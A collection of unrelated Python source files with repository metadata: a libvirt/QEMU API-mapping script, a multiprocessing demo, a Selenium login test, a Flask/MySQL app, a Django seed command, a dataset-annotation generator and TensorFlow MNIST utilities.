5c6013a3ba553b9ad149e9513a228a8bffc2df5b
[]
no_license
qiankehan/libvirt_qemu_api_map
36a87bff5eb4dfafd98933ca6f143d1f67b4c1e7
c73a3c78d075bff84b449c14ec8759ce4b3f0dd3
refs/heads/master
2020-06-14T11:50:06.592783
2019-07-03T07:10:49
2019-07-03T07:10:49
194,997,268
0
0
null
null
null
null
UTF-8
Python
false
false
4,558
#!/usr/bin/python3 import subprocess as sp import argparse import os import sys import csv import tempfile def rm_empty_str(objs): return {i for i in objs if i != ''} class LibvirtQemu: def __init__(self, src, mode): if mode not in {'qmp', 'ga'}: raise TypeError('mode should be "qmp" or "ga"') self.src = src self.mode = mode if mode == 'qmp': self.makecmd = 'qemuMonitorJSONMakeCommand' if mode == 'ga': self.makecmd = 'qemuAgentMakeCommand' self.tmpdir = tempfile.mkdtemp() self.qemu_cscope_source = os.path.join(self.src, 'src/qemu') self.qemu_cscope = self.gen_qemu_cscope('qemu') self.libvirt_apis = self.get_libvirt_apis() self.qemu_apis = {i.replace("vir", "qemu", 1) for i in self.libvirt_apis} self.mon_funcs = self.get_mon_funcs() def get_libvirt_apis(self): cmd = 'grep "virDomain[a-zA-Z0-9]*" %s -o' % os.path.join( self.src, 'src/libvirt_public.syms') return rm_empty_str(sp.check_output(cmd, shell=True, text=True).split('\n')) def gen_qemu_cscope(self, name): cscope = os.path.join(self.tmpdir, '%s.out' %name) cmd = 'cscope -b -f %s -s %s -R' % (cscope, self.qemu_cscope_source) try: sp.check_output(cmd, shell=True) except sp.CalledProcessError as e: sys.exit("%s cscope generate failed: %s\nreturn: %d" % (name, cmd, e.returncode)) return cscope def get_mon_funcs(self): cmd = "cscope -d -L3 %s -s %s -f %s|grep -v '^[a-zA-Z_0-9]*\.h'|grep -v ATTRIBUTE_ |awk '{print $2}'" % ( self.makecmd, self.qemu_cscope_source, self.qemu_cscope) return rm_empty_str(sp.check_output(cmd, shell=True, text=True).split('\n')) def get_qemu_exec(self, mon_func): if self.mode == 'qmp': mon_file = 'qemu_monitor_json.c' if self.mode == 'ga': mon_file = 'qemu_agent.c' qemu_mon_src = os.path.join(self.src, 'src/qemu/%s' %mon_file) cmd = """awk '/%s/,/^}/' %s|awk '/%s/,/)/'|grep '"[a-zA-Z:_-]*"' -o |tr '\n' ','""" % ( mon_func, qemu_mon_src, self.makecmd) return sp.check_output(cmd, shell=True, text=True) def get_callers(self, fn): cmd = "cscope -d -L3 %s -f %s -s %s|grep -v '^[a-zA-Z_0-9]*\.h' | grep -v ATTRIBUTE_ | awk '{print $2}'" % ( fn, self.qemu_cscope, self.qemu_cscope_source) return rm_empty_str(sp.check_output(cmd, shell=True, text=True).split('\n')) def get_top_callers(self, fn, cscope): stack = [] top_callers = set() accessed = set() func = fn stack.append(func) while stack != []: func = stack.pop() if func not in accessed: accessed.add(func) callers = self.get_callers(func) if func in callers or callers == set(): top_callers.add(func) for caller in callers: stack.append(caller) return top_callers def writecsv(self, csv_path): with open(csv_path, 'w') as csvfile: header = ["Monitor Wrapper", "QMP", "API callers", "Callers not in APIs"] writer = csv.DictWriter(csvfile, fieldnames=header, delimiter='|') writer.writeheader() for mon in self.mon_funcs: qemu_exec = self.get_qemu_exec(mon) top_callers = self.get_top_callers(mon, self.qemu_cscope) callers_api = "\n".join([j.replace('qemu', 'vir', 1) for j in {i for i in top_callers if i in self.qemu_apis}]) callers_not_api = "\n".join([i for i in top_callers if i not in self.qemu_apis]) writer.writerow({ header[0]: mon, header[1]: qemu_exec, header[2]: callers_api, header[3]: callers_not_api}) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-s', '--source', help="The libvirt source directory", required=True) parser.add_argument('-m', '--mode', help="The mode of API mappings.'qmp': The qemu qmp to libvirt API mappings; 'ga': The qemu guest agent command to libvirt API mappings", required=True) parser.add_argument('-o', '--output', help="The csv output file", default='output.csv') args = parser.parse_args() LibvirtQemu(args.source, args.mode).writecsv(args.output)
e21b32b6008b4c1156c4093df442d9254ff1ec55
5020abc0f35d0da7b7ba43e50bc017c4d5ca9bcd
/learn-from-liao/task_master.py
30f9999589add76043fac223ce7318310f50f740
[]
no_license
chick-tiger/python-module-learning
7795291ec8a11b6a149191f97b4d7856609665a7
80d560bd22c7e85b2a2502113515f21a17512a3c
refs/heads/master
2021-07-14T21:56:04.306101
2017-10-20T09:40:53
2017-10-20T09:40:53
104,312,051
0
1
null
null
null
null
UTF-8
Python
false
false
715
py
import random, time, queue from multiprocessing.managers import BaseManager task_queue = queue.Queue() result_queue = queue.Queue() class QueueManager(BaseManager): pass QueueManager.register('get_task_queue', callable=lambda:task_queue) QueueManager.register('get_result_queue', callable=lambda:result_queue) manager = QueueManager(address=('', 5000), authkey=b'abc') manager.start() task = manager.get_task_queue() result = manager.get_result_queue() for i in range(10): n = random.randint(0, 10000) print('Put task %d...' % n) task.put(n) print('Try get results...') for i in range(10): r = result.get(timeout=10) print('Result: %s' % r) manager.shutdown() print('master exit.')
e51e15c2b6fcf05be02199a5d7b23019c613d8c6
52f2581585f5529b53d352ea4e0e1db986a17f7f
/AutoTest/public/Login_c.py
022bab2c565f3cc0020da9f3c9dbb8e06837704e
[]
no_license
BaoYong-1/PyTesting1
253fda9d95435244ff79e37b16a62ba215637d3f
9a8c4c02b3f592e48d93f98038be7e7f1bd63def
refs/heads/master
2020-03-19T11:23:03.106788
2018-08-31T07:30:54
2018-08-31T07:30:54
136,452,033
0
0
null
null
null
null
UTF-8
Python
false
false
1,357
py
# coding=utf-8 import time from selenium.webdriver.support import expected_conditions as EC from selenium import webdriver from GetVerifyCode import get_code import os os.environ['NLS_LANG'] = 'SIMPLIFIED CHINESE_CHINA.UTF8' # 设置中文 def is_element_visible(self, element): driver = self.driver try: the_element = EC.visibility_of_element_located(element) assert the_element(driver) flag = True except: flag = False return flag def login(driver, username, password, CodeText): driver.find_element_by_id("txt_username").clear() driver.find_element_by_id("txt_username").send_keys(username) driver.find_element_by_id("txt_password").clear() driver.find_element_by_id("txt_password").send_keys(password) driver.find_element_by_id("verifycode").clear() driver.find_element_by_id("verifycode").send_keys(CodeText) driver.find_element_by_class_name("button").click() time.sleep(2) if __name__ == '__main__': options = webdriver.ChromeOptions() options.add_experimental_option("excludeSwitches", ["ignore-certificate-errors"]) driver = webdriver.Chrome(chrome_options=options) driver.maximize_window() url = "http://192.168.10.110:8080/WebGis/login" driver.get(url) CodeText = get_code(driver) login(driver, 'baoyong123', 'asdf1234', CodeText)
2e0aeb4b8cd540d392f6e5256c8fc9f78b3b1f04
0144353f5d129c0d95f96c717c9aee71d26ca153
/app_mysql.py
3e5c0f5eea15619e2f75aef0c838311ca947c354
[]
no_license
rafat2427/IDP
4b44239f3cb6b52d11baf47c97b49aa38ec7e5b5
16c02be0244cbf32e7d94363e3af40d3c447311d
refs/heads/main
2023-02-16T17:53:11.009820
2021-01-20T20:04:10
2021-01-20T20:04:10
331,417,628
0
0
null
null
null
null
UTF-8
Python
false
false
3,252
py
from flask import Flask, render_template, url_for, request, redirect from flask_mysqldb import MySQL import pandas as pd import numpy as np import os.path # import yaml app = Flask(__name__) # Configure db # db = yaml.load(open('db.yaml')) # app.config['MYSQL_HOST'] = db['mysql_host'] # app.config['MYSQL_USER'] = db['mysql_user'] # app.config['MYSQL_PASSWORD'] = db['mysql_password'] # app.config['MYSQL_DB'] = db['mysql_db'] app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = 'root' app.config['MYSQL_PASSWORD'] = '' app.config['MYSQL_DB'] = 'test' mysql = MySQL(app) # Start coding # @app.route('/') # def index(): # return render_template("about.php") # # # @app.route('/users') # def users(): # cur = mysql.connection.cursor() # resultValue = cur.execute("SELECT * FROM users") # if resultValue > 0: # userDetails = cur.fetchall() # return render_template('users.html',userDetails=userDetails) @app.route('/') # @app.route('/', methods=['GET', 'POST']) def index(): # if request.method == 'POST': # # Fetch form data # userDetails = request.form # name = userDetails['name'] # email = userDetails['email'] # cur = mysql.connection.cursor() # cur.execute("INSERT INTO users(name, email) VALUES(%s, %s)",(name, email)) # mysql.connection.commit() # cur.close() # return redirect('/users') # return render_template('index.html') # # @app.route('/users') # def users(): cur_member = mysql.connection.cursor() cur_gp = mysql.connection.cursor() resultValue = cur_member.execute("SELECT * FROM members") groupValue = cur_gp.execute("SELECT * FROM gp") if resultValue > 0 or groupValue > 0: userDetails = cur_member.fetchall() groupDetails = cur_gp.fetchall() return render_template('members group.php',userDetails=userDetails, groupDetails=groupDetails) @app.route('/show') def show_data(): csv1 = pd.read_csv("status_1.csv") print(csv1) val_list = csv1.values.tolist() c_yes=val_list.count('Yes') c_no=val_list.count('No') state=1 if c_no > c_yes: state = 2 return render_template('show_status.php',val_list=val_list,c_yes=c_yes,c_no=c_no) @app.route('/status') def show_status(): csv1 = pd.read_csv("status_1.csv") print(csv1) val_list = csv1.values.tolist() c_yes=val_list.count('Yes') c_no=val_list.count('No') # state=1 # if c_no > c_yes # state = 2 state = 2 cur_state = mysql.connection.cursor() cur_member = mysql.connection.cursor() cur_gp = mysql.connection.cursor() cur_state.execute("UPDATE `status` SET `sta_id` = %s WHERE `status`.`persno` = 12345 ", state) resultValue = cur_member.execute("SELECT * FROM members") groupValue = cur_gp.execute("SELECT * FROM status") if resultValue > 0 or groupValue > 0: userDetails = cur_member.fetchall() groupDetails = cur_gp.fetchall() return render_template('members group.php',userDetails=userDetails, groupDetails=groupDetails) if __name__ == '__main__': app.run(debug=True)
5ec94889a27094587c60ea1c2c2cce07b38e8860
0f43b7cfd605ee6be9ea563023835e0b4aa37226
/survey-env/bin/pip3.7
3c23b1d64f8241cd424519d772222c119e0fe202
[]
no_license
filipvandyck/survey_proj
b7ab78b41645db9cc45f9d52fb61b1aee046a76e
198cb412553cb2e352d65cc5df831017211f785e
refs/heads/master
2023-01-11T17:33:00.435334
2020-10-25T19:46:32
2020-10-25T19:46:32
262,762,370
0
0
null
null
null
null
UTF-8
Python
false
false
260
7
#!/home/filip/Python/survey_proj/survey-env/bin/python3.7 # -*- coding: utf-8 -*- import re import sys from pip._internal.main import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())
d519581682c5b4acb68ab1878e3cda3a7b8c4ddd
5e2655fb23e558c54695dea5c9456b5552570947
/localdev/seed/management/commands/seed_data.py
f42ad2be00ea5d9f4f5111900de0d82b66bf4e16
[ "BSD-3-Clause" ]
permissive
mitodl/bootcamp-ecommerce
992cb23243462d82c75cfae6c115a27728491219
339c67b84b661a37ffe32580da72383d95666c5c
refs/heads/master
2023-08-31T10:45:57.827990
2023-07-25T13:55:32
2023-07-25T13:55:32
82,849,185
6
3
BSD-3-Clause
2023-08-24T20:25:47
2017-02-22T20:27:24
Python
UTF-8
Python
false
false
709
py
"""Management command to create or update seed data""" from django.core.management.base import BaseCommand from localdev.seed.api import create_seed_data from localdev.seed.utils import get_raw_seed_data_from_file class Command(BaseCommand): """Creates or updates seed data based on a raw seed data file""" help = __doc__ def handle(self, *args, **options): raw_seed_data = get_raw_seed_data_from_file() results = create_seed_data(raw_seed_data) if not results.has_results: self.stdout.write(self.style.WARNING("No results logged.")) else: self.stdout.write(self.style.SUCCESS("RESULTS")) self.stdout.write(results.report)
cbd2dcecce030b1b1ca054de015715d1db5327d7
79eec9f4b1dac6c085dd3783854b98d0c6c9769c
/dataset_tools/xml_writer_complementary.py
6985d879017031359f32e16a00c3f5dc5402cd55
[ "MIT" ]
permissive
hangwudy/Mask_RCNN
c9b5efa0307a73dd5178988981f67762eab5ae36
8b5d896076b994e2f9136054114c551a8cb3119f
refs/heads/master
2020-04-03T11:42:41.924893
2019-08-06T16:53:42
2019-08-06T16:53:42
142,773,778
0
0
null
null
null
null
UTF-8
Python
false
false
5,283
py
# coding: utf-8 # created by Hang Wu on 2018.10.07 # feedback: [email protected] from lxml.etree import Element, SubElement, tostring import pprint from xml.dom.minidom import parseString import cv2 from numpy import random import os # Eigen import image_overlay import load_image import generate_dict def xml_generator(bndbox, xml_destination_path): # Root node_root = Element('annotation') ## Folder node_folder = SubElement(node_root, 'folder') node_folder.text = bndbox['folder'] ## Filename node_filename = SubElement(node_root, 'filename') node_filename.text = bndbox['filename'] ## Path node_path = SubElement(node_root, 'path') node_path.text = bndbox['path'] ## Source node_source = SubElement(node_root, 'source') node_database = SubElement(node_source, 'database') node_database.text = 'Unknown' ## Size node_size = SubElement(node_root, 'size') ### Width node_width = SubElement(node_size, 'width') node_width.text = str(bndbox['width']) ### Height node_height = SubElement(node_size, 'height') node_height.text = str(bndbox['height']) ### Depth node_depth = SubElement(node_size, 'depth') node_depth.text = str(bndbox['depth']) ## Segmented node_segmented = SubElement(node_root, 'segmented') node_segmented.text = '0' ## Object node_object = SubElement(node_root, 'object') ### Name node_name = SubElement(node_object, 'name') node_name.text = 'car_door' ### Pose node_pose = SubElement(node_object, 'pose') node_pose.text = 'Unspecified' ### Truncated node_truncated = SubElement(node_object, 'truncated') node_truncated.text = '0' ### Difficult node_difficult = SubElement(node_object, 'difficult') node_difficult.text = '0' ### Bounding box node_bndbox = SubElement(node_object, 'bndbox') #### x-y value node_xmin = SubElement(node_bndbox, 'xmin') node_xmin.text = str(bndbox['xmin']) node_ymin = SubElement(node_bndbox, 'ymin') node_ymin.text = str(bndbox['ymin']) node_xmax = SubElement(node_bndbox, 'xmax') node_xmax.text = str(bndbox['xmax']) node_ymax = SubElement(node_bndbox, 'ymax') node_ymax.text = str(bndbox['ymax']) # format display xml = tostring(node_root, pretty_print=True) xml_name = bndbox['filename'][:-4]+".xml" xml_path = os.path.join(xml_destination_path, xml_name) fp = open(xml_path, 'w') fp.write(xml.decode()) fp.close() if __name__ == '__main__': # Foreground and background imags fg_path = '/home/hangwu/Repositories/Dataset/dataset/ergaenzen' bg_path = '/home/hangwu/Downloads/val2017' # Output paths xml_dest_path = "/home/hangwu/Repositories/Dataset/dataset/annotation_all/xml" image_dest_path = "/home/hangwu/Repositories/Dataset/dataset/car_door_all" mask_dest_path = "/home/hangwu/Repositories/Dataset/dataset/annotation_all/mask" mask_bw_dest_path = "/home/hangwu/Repositories/Dataset/dataset/annotation_all/mask_bw" # Car Door Subcategory: 1 or 2, IMPORTANT for naming the training data cd_subcat = 2 # Test test = False if test: fg_path = '/home/hangwu/Repositories/Mask_RCNN/dataset_tools/Test_Workspace/Image_Generation/Foreground' bg_path = '/home/hangwu/Repositories/Mask_RCNN/dataset_tools/Test_Workspace/Image_Generation/Background' xml_dest_path = "/home/hangwu/Repositories/Mask_RCNN/dataset_tools/Test_Workspace/Image_Generation/output/xml" image_dest_path = "/home/hangwu/Repositories/Mask_RCNN/dataset_tools/Test_Workspace/Image_Generation/output/image" mask_dest_path = "/home/hangwu/Repositories/Mask_RCNN/dataset_tools/Test_Workspace/Image_Generation/output/mask" mask_bw_dest_path = "/home/hangwu/Repositories/Mask_RCNN/dataset_tools/Test_Workspace/Image_Generation/output/mask_bw" fg_list = load_image.loadim(fg_path) # print(fg_list[1230:1250]) bg_list = load_image.loadim(bg_path,'jpg','0000') # Counter progress_show = 1 for fg_p in fg_list: # IMPORTANT: if you want to resize images, don't forget resize in generate_dict img_scale = 0.8 try: bnd_info = generate_dict.object_dict(fg_p, img_scale) fg = cv2.imread(fg_p, -1) # resize the car door images fg = cv2.resize(fg, (0,0), fx = img_scale, fy = img_scale, interpolation = cv2.INTER_CUBIC) bg_path = random.choice(bg_list) bg = cv2.imread(bg_path, -1) object_bndbox = image_overlay.overlap(bg, fg, bnd_info, image_dest_path, mask_dest_path, mask_bw_dest_path, cd_subcat) xml_generator(object_bndbox, xml_dest_path) except: print("===========================") print(fg_p) print(bg_path) print("===========================") # print(object_bndbox) if progress_show % 1 == 0: print("++++++++++++++") print("{:.2f}%".format(progress_show/len(fg_list)*100)) print("++++++++++++++") progress_show += 1
ad890fdf5086260c3c073c0dee7db830b7db3d9a
d33bd7e0c2cd91226d3dc7c3d927a52b8dbc05fd
/tiny_data/lip3x3_tiny/utils.py
a5f41725c9023fb3c1334631a8da4d29a58eb2e8
[ "Apache-2.0" ]
permissive
gamedx/tiny_lips
80d7963abd9b8455aedcc342562f7ff55f6c501b
c15e1d152369ea69715313f6b6802ed05eab2b65
refs/heads/master
2020-06-29T17:59:25.717198
2019-08-05T07:57:03
2019-08-05T07:57:03
200,585,475
0
0
null
null
null
null
UTF-8
Python
false
false
3,914
py
import os import scipy import numpy as np import tensorflow as tf os.environ["CUDA_VISIBLE_DEVICES"]="0" os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def load_mnist(batch_size, is_training=True): path = os.path.join('data', 'mnist') if is_training: fd = open(os.path.join(path, 'train-images-idx3-ubyte')) loaded = np.fromfile(file=fd, dtype=np.uint8) trainX = loaded[16:].reshape((8400, 39, 39, 1)).astype(np.float32) fd = open(os.path.join(path, 'train-labels-idx1-ubyte')) loaded = np.fromfile(file=fd, dtype=np.uint8) trainY = loaded[8:].reshape((8400)).astype(np.int32) trX = trainX[:7800] / 255. trY = trainY[:7800] valX = trainX[7800:, ] / 255. valY = trainY[7800:] num_tr_batch = 7800 // batch_size num_val_batch = 600 // batch_size return trX, trY, num_tr_batch, valX, valY, num_val_batch else: fd = open(os.path.join(path, 't10k-images-idx3-ubyte')) loaded = np.fromfile(file=fd, dtype=np.uint8) teX = loaded[16:].reshape((600, 39, 39, 1)).astype(np.float) fd = open(os.path.join(path, 't10k-labels-idx1-ubyte')) loaded = np.fromfile(file=fd, dtype=np.uint8) teY = loaded[8:].reshape((600)).astype(np.int32) num_te_batch = 600 // batch_size return teX / 255., teY, num_te_batch def load_data(dataset, batch_size, is_training=True, one_hot=False): if dataset == 'mnist': return load_mnist(batch_size, is_training) else: raise Exception('Invalid dataset, please check the name of dataset:', dataset) def get_batch_data(dataset, batch_size, num_threads): if dataset == 'mnist': trX, trY, num_tr_batch, valX, valY, num_val_batch = load_mnist(batch_size, is_training=True) elif dataset == 'fashion-mnist': trX, trY, num_tr_batch, valX, valY, num_val_batch = load_fashion_mnist(batch_size, is_training=True) data_queues = tf.train.slice_input_producer([trX, trY]) X, Y = tf.train.shuffle_batch(data_queues, num_threads=num_threads, batch_size=batch_size, capacity=batch_size * 64, min_after_dequeue=batch_size * 32, allow_smaller_final_batch=False) return(X, Y) def save_images(imgs, size, path): ''' Args: imgs: [batch_size, image_height, image_width] size: a list with tow int elements, [image_height, image_width] path: the path to save images ''' imgs = (imgs + 1.) / 2 # inverse_transform return(scipy.misc.imsave(path, mergeImgs(imgs, size))) def mergeImgs(images, size): h, w = images.shape[1], images.shape[2] imgs = np.zeros((h * size[0], w * size[1], 3)) for idx, image in enumerate(images): i = idx % size[1] j = idx // size[1] imgs[j * h:j * h + h, i * w:i * w + w, :] = image return imgs # For version compatibility def reduce_sum(input_tensor, axis=None, keepdims=False): try: return tf.reduce_sum(input_tensor, axis=axis, keepdims=keepdims) except: return tf.reduce_sum(input_tensor, axis=axis, keep_dims=keepdims) # For version compatibility def softmax(logits, axis=None): try: return tf.nn.softmax(logits, axis=axis) except: return tf.nn.softmax(logits, dim=axis) def get_shape(inputs, name=None): name = "shape" if name is None else name with tf.name_scope(name): static_shape = inputs.get_shape().as_list() dynamic_shape = tf.shape(inputs) shape = [] for i, dim in enumerate(static_shape): dim = dim if dim is not None else dynamic_shape[i] shape.append(dim) return(shape)
049898e55896a5847ebcd12bfad533a56380fa13
63393a9f049587cc6825ddc905aa07244926e874
/main.py
7879ba20d5951ca35fbedc07e2c76ad674ff6777
[]
no_license
sbzhu/designpattern
fa62e9e3321048ee220f1ee9c63af9f1bdd89d77
aeafb2850923a7f1ed31957130fe7857e0fc5b19
refs/heads/master
2020-12-25T04:08:39.039958
2016-04-23T07:48:24
2016-04-23T07:48:24
56,907,165
0
0
null
null
null
null
UTF-8
Python
false
false
190
py
#!/usr/bin/env python if __name__ == '__main__': # op = raw_input('Operator : ') # op1 = input('a : ') # op2 = input('b : ') try: print 'Hello' except: print 'Wrong expression'
c7040497fddc70804c791aa8caffd6ee49621d0d
98c6ea9c884152e8340605a706efefbea6170be5
/examples/data/Assignment_2/hbbirf001/question3.py
86f1543deb5d0d08303893c1de5d53fe0d63e38e
[]
no_license
MrHamdulay/csc3-capstone
479d659e1dcd28040e83ebd9e3374d0ccc0c6817
6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2
refs/heads/master
2021-03-12T21:55:57.781339
2014-09-22T02:22:22
2014-09-22T02:22:22
22,372,174
0
0
null
null
null
null
UTF-8
Python
false
false
260
py
import math pi =2 denom = math.sqrt(2) while denom != 2: pi = pi*2/denom denom = math.sqrt(2+denom) print('Approximation of pi:',round(pi,3),sep=' ') radius = eval(input('Enter the radius:\n')) area = pi*radius**2 print('Area:', round(area,3))
14e9d08e4c3d5917584fcfa34b8694b98266d25e
5fbdb2fdf9544739ea5f4b72b835cb201b73ab39
/app/main/views.py
a40898b4cf27fc1ecfd8df435912b4a2f64c2c68
[]
no_license
nakuls003/flasky-app
add3bebe46c79ddc7d59b5b45a10c7ade444db5d
97fd011dacf898070f2da597bb92577c476ac136
refs/heads/master
2020-04-14T01:27:19.513032
2019-01-01T06:26:00
2019-01-01T06:26:00
163,560,634
0
0
null
null
null
null
UTF-8
Python
false
false
11,237
py
from flask import render_template, flash, redirect, url_for, request, current_app, abort, make_response from . import main from flask_login import login_required, current_user from ..decorators import admin_required from ..models import User, Role, Permission, Post, Comment from .forms import EditProfileForm, EditProfileAdminForm, PostForm, CommentForm from .. import db from ..decorators import permission_required from flask_sqlalchemy import get_debug_queries @main.route('/', methods=['GET', 'POST']) def index(): form = PostForm() if form.validate_on_submit() and current_user.can(Permission.WRITE): post = Post(body=form.body.data, author=current_user._get_current_object()) db.session.add(post) db.session.commit() return redirect(url_for('.index')) page = request.args.get('page', 1, type=int) show_followed = False if current_user.is_authenticated: show_followed = bool(request.cookies.get('show_followed', '')) if show_followed: query = current_user.followed_posts else: query = Post.query pagination = query.order_by(Post.timestamp.desc()).paginate(page, per_page=current_app.config['POSTS_PER_PAGE'], error_out=False) posts = pagination.items return render_template('index.html', show_followed=show_followed, form=form, posts=posts, pagination=pagination) @main.route('/show-all') @login_required def show_all(): resp = make_response(redirect(url_for('.index'))) resp.set_cookie('show_followed', '', max_age=30*24*60*60) return resp @main.route('/show-followed') @login_required def show_followed(): resp = make_response(redirect(url_for('.index'))) resp.set_cookie('show_followed', '1', max_age=30*24*60*60) return resp # @main.route('/admin') # @login_required # @admin_required # def admin_route(): # return "for administrators!" # # @main.route('/moderate') # @login_required # @permission_required(Permission.MODERATE) # def moderate_route(): # return "for moderators" @main.route('/user/<username>') def user(username): user = User.query.filter_by(username=username).first_or_404() page = request.args.get('page', 1, type=int) pagination = user.posts.order_by(Post.timestamp.desc()).paginate(page, per_page=current_app.config['POSTS_PER_PAGE'], error_out=False) posts = pagination.items return render_template('user.html', user=user, posts=posts, pagination=pagination) @main.route('/post/<int:id>', methods=['GET', 'POST']) def post(id): post = Post.query.get_or_404(id) form = CommentForm() if form.validate_on_submit() and current_user.can(Permission.COMMENT): comment = Comment(body = form.body.data, author = current_user._get_current_object(), post = post) db.session.add(comment) db.session.commit() flash('comment added successfully') return redirect(url_for('main.post', id=post.id, page=-1)) page = request.args.get('page', 1, type=int) if page == -1: page = ((post.comments.count() - 1) // current_app.config['COMMENTS_PER_PAGE']) + 1 pagination = post.comments.order_by(Comment.timestamp.asc()).paginate(page, per_page=current_app.config['COMMENTS_PER_PAGE'], error_out=False) comments = pagination.items return render_template('post.html', posts=[post], comments=comments, pagination=pagination, form=form) @main.route('/edit/<int:id>', methods=['GET', 'POST']) @login_required def edit(id): post = Post.query.get_or_404(id) if current_user != post.author and not current_user.is_administrator(): abort(403) form = PostForm() if form.validate_on_submit(): post.body = form.body.data db.session.add(post) db.session.commit() flash('Post updated successfully') return redirect(url_for('.edit', id=post.id)) form.body.data = post.body return render_template('edit_post.html', form=form) @main.route('/edit-profile', methods=['GET', 'POST']) @login_required def edit_profile(): form = EditProfileForm() if form.validate_on_submit(): current_user.name = form.name.data current_user.location = form.location.data current_user.about_me = form.about_me.data db.session.add(current_user._get_current_object()) db.session.commit() flash('Your info has been saved') return redirect(url_for('.user', username=current_user.username)) form.name.data = current_user.name form.location.data = current_user.location form.about_me.data = current_user.about_me return render_template('edit_profile.html', form=form) @main.route('/edit-profile/<int:id>', methods=['GET', 'POST']) @login_required @admin_required def edit_profile_admin(id): user = User.query.get_or_404(id) form = EditProfileAdminForm(user) if form.validate_on_submit(): user.email = form.email.data user.username = form.username.data user.confirmed = form.confirmed.data user.role = Role.query.get(form.role.data) user.name = form.name.data user.location = form.location.data user.about_me = form.about_me.data db.session.add(user) db.session.commit() flash('User updated successfully') return redirect(url_for('.user', username=user.username)) form.email.data = user.email form.username.data = user.username form.confirmed.data = user.confirmed form.role.data = user.role_id form.name.data = user.name form.location.data = user.location form.about_me.data = user.about_me return render_template('edit_profile.html', form=form, user=user) @main.route('/follow/<username>') @login_required @permission_required(Permission.FOLLOW) def follow(username): user = User.query.filter_by(username=username).first() if user is None or user == current_user: flash('invalid user') return redirect(url_for('.index')) if current_user.is_following(user): flash('You are already following this user') return redirect(url_for('.user', username=username)) current_user.follow(user) db.session.commit() flash('You are now following {}'.format(username)) return redirect(url_for('.user', username=username)) @main.route('/unfollow/<username>') @login_required @permission_required(Permission.FOLLOW) def unfollow(username): user = User.query.filter_by(username=username).first() if user is None or user == current_user: flash('invalid user') return redirect(url_for('.index')) if not current_user.is_following(user): flash('You are not already following this user') return redirect(url_for('.user', username=username)) current_user.unfollow(user) db.session.commit() flash('You unfollowed {}'.format(username)) return redirect(url_for('.user', username=username)) @main.route('/followers/<username>') def followers(username): user = User.query.filter_by(username=username).first() if user is None: flash('invalid user') return redirect(url_for('.index')) page = request.args.get('page', 1, type=int) pagination = user.followers.paginate(page, per_page=current_app.config['FOLLOW_RESULTS_PER_PAGE'], error_out=False) follows = [{'user': item.follower, 'timestamp': item.timestamp} for item in pagination.items] return render_template('followers.html', endpoint='.followers', pagination=pagination, follows=follows, user=user, title='Followers of') @main.route('/following/<username>') def followed_by(username): user = User.query.filter_by(username=username).first() if user is None: flash('invalid user') return redirect(url_for('.index')) page = request.args.get('page', 1, type=int) pagination = user.followed.paginate(page, per_page=current_app.config['FOLLOW_RESULTS_PER_PAGE'], error_out=False) follows = [{'user': item.followed, 'timestamp': item.timestamp} for item in pagination.items] return render_template('followers.html', endpoint='.followed_by', pagination=pagination, follows=follows, user=user, title='Followed by') @main.route('/moderate') @login_required @permission_required(Permission.MODERATE) def moderate(): page = request.args.get('page', 1, type=int) pagination = Comment.query.order_by(Comment.timestamp.desc()).paginate(page, current_app.config['COMMENTS_PER_PAGE'], error_out=False) comments = pagination.items return render_template('moderate.html', comments=comments, page=page, pagination=pagination) @main.route('/moderate/enable/<int:id>') @login_required @permission_required(Permission.MODERATE) def moderate_enable(id): comment = Comment.query.get_or_404(id) comment.disabled = False db.session.add(comment) db.session.commit() page = request.args.get('page', 1 , type=int) return redirect(url_for('main.moderate', page=page)) @main.route('/moderate/disable/<int:id>') @login_required @permission_required(Permission.MODERATE) def moderate_disable(id): comment = Comment.query.get_or_404(id) comment.disabled = True db.session.add(comment) db.session.commit() page = request.args.get('page', 1 , type=int) return redirect(url_for('main.moderate', page=page)) @main.route('/shutdown') def shutdown_server(): if not current_app.testing: abort(404) shutdown = request.environ.get('werkzeug.server.shutdown') if not shutdown: abort(500) shutdown() return "Shutting down.." @main.after_app_request def after_request(response): for query in get_debug_queries(): if query.duration >= current_app.config['SLOW_DB_QUERY_TIME']: current_app.logger.warning( 'Slow query: %s\nParameters: %s\nDuration: %fs\nContext: %s\n' % (query.statement, query.parameters, query.duration, query.context) ) return response # @main.route('/user', methods=['GET', 'POST']) # def user(): # form = NameForm() # if form.validate_on_submit(): # # old_name = session.get('name') # # if old_name is not None and old_name != form.name.data: # # flash('Hey, looks like you changed your name.') # user = User.query.filter_by(username=form.name.data).first() # if user is None: # user = User(username=form.name.data) # db.session.add(user) # db.session.commit() # session['known'] = False # send_email('New User', '[email protected]', 'mail/new_user', user=user) # else: # session['known'] = True # session['name'] = form.name.data # form.name.data = '' # return redirect(url_for('main.user')) # return render_template('user.html', form=form, name=session.get('name'), known=session.get('known', False))
104d203a342e3451de87019b3f772f1417367208
980a90caca1524f717c1d27aa489a094334614da
/2019-01 code.py
11f18521ae9460f1053fdcca78f049acf28d236f
[]
no_license
tagoria/AdventOfCode2019
00fa03fa558f17a2bd3bb8650dcedff346902c01
41124e4f9604999ca6fa57bf2cc91ebc5e448e05
refs/heads/master
2023-04-10T01:17:00.152895
2021-04-17T11:26:57
2021-04-17T11:26:57
358,859,396
0
0
null
null
null
null
UTF-8
Python
false
false
849
py
import string import fileinput import os import sys def part1() : currentFile = __file__ spacePosition = currentFile.find(" ") inputPath = currentFile[0:spacePosition] + " input.txt" fuelNeeded = 0 with open(inputPath, "r") as puzzleInput: for line in puzzleInput: massNeeded = int(line) fuelNeeded = fuelNeeded + ((massNeeded//3) - 2) print(fuelNeeded) def part2() : currentFile = __file__ spacePosition = currentFile.find(" ") inputPath = currentFile[0:spacePosition] + " input.txt" fuelNeeded = 0 with open(inputPath, "r") as puzzleInput: for line in puzzleInput: massNeeded = int(line) while (massNeeded := massNeeded//3 - 2)>0: fuelNeeded = fuelNeeded + massNeeded print(fuelNeeded) print (sys.version) part2()
6635fd14f1af6c49980003fc31b60603e13ea0a4
3cb8220aaf53ab07fddd3706af4524d94f5eeaad
/userproj/users/urls.py
ded0461b2885c25d46c0241e5458865911412a57
[]
no_license
guguponce/userproject
5741092923d1558ad93cc16813640d5e4db117bd
